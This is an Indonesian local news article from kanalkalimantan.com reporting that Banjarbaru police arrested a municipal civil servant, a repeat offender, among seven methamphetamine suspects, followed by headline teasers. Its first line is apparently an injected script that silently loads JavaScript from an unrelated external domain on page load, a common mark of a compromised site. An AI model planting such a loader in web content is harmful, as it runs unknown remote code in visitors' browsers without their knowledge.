(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Keberhasilan Satuan Reserse Narkorba Polres Banjarbaru dalam mengungkap 5 kasus tindak pidana narkotika dalam kurun waktu dua hari, mengungap fakta baru. Salah satu pelaku yang diamankan, rupanya berstatus Aparatur Sipil Negara (ASN) berdinas di Pemkot Banjarbaru.
Kapolres Banjarbaru, AKBP Kelana Jaya melalui Kasat Resnarkoba, AKP Elche, membenarkan bahwa pihaknya mengamankan oknum PNS yang diketahui berinisial MRP.
“Benar, salah satu pelaku yang kita amankan merupakan oknum PNS. Saat ini masih kita kembangkan untuk mengungkap siapa pemasok sabu-sabu tersebut dan jaringan diatasnya,” katanya kepada kanalkalimantan.com, Rabu (2/10).
Ditambahkan Kasat Resnarkoba, oknum PNS tersebut merupakan residivis yang mana sebelumnya pernah ditahan karena kasus yang sama. “Informasi yang kami terima sudah pernah terjerat kasus yang sama. Jadi, MRP merupakan residivis,” lanjutnya.
Tentu, terungkapnya oknum PNS yang mengkonsumsi narkoba menjadi tamparan keras bagi Pemko Banjarbaru. Apalagi, selama ini Pemkot terus menerus menggelorakan upaya pemberantasan narkoba.
Baca Juga : BNNK Banjarbaru Gandeng Kelurahan Percepat Rehabilitasi Pecandu Narkoba
Seperti halnya saat acara bersama BNN, dimana Sekda Banjarbaru, Said Abdullah, menegaskan bahwa Pemkot sudah berkomitmen mendukung BNN dalam setiap programnya. “Bisa dilihat dari penyediaan sarana prasarana serta SDMnya, kami juga membantu pelaksanaannya di lapangan melalui Lurah dan camat yang ada. Tidak hanya itu, seluruh SKPD kami pun berkomitmen memback up tugas BNN,†katanya beberapa waktu lalu.
Rabu (2/9) malam, Kanalkalimantan mencoba mengkonfirmasi Walikota Banjarbaru, Nadjmi Adhani, terkait tindak lanjut dari Pemkot terhadap PNS yang bermasalah tersebut. Namun, hingga kini belum ada balasan dari Walikota Banjarbaru.
Baca Juga : Dua Hari, Polres Banjarbaru Ungkap 5 Kasus Peredaran Narkotika
Seperti yang diberitakan sebelumnya, MRP ditangkap bersama 6 pelaku lainnya karena kasus tindak pidana Narkotika. Ke 7 pelaku ini, masing-masing ada yang diringkus sendiri-sendiri. Adapula yang ditangkap berdua.
Kasubbag Humas, AKP Siti Rohayati mengayakan pihaknya mengamankan seluruh barang bukti narkotika jenis sabu-sabu dari para pelaku. “Total barat bukti sabu-sabu, berat bersih mencapai 0,53 gram. Saat ini masih dilakukan proses hukum lebih lanjut,” pungkasnya.
Selain barang bukti sabu-sabu, pihak kepolisian juga mengamankan barang bukti lainnya seperti motor dan telepon genggam. (Rico)
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.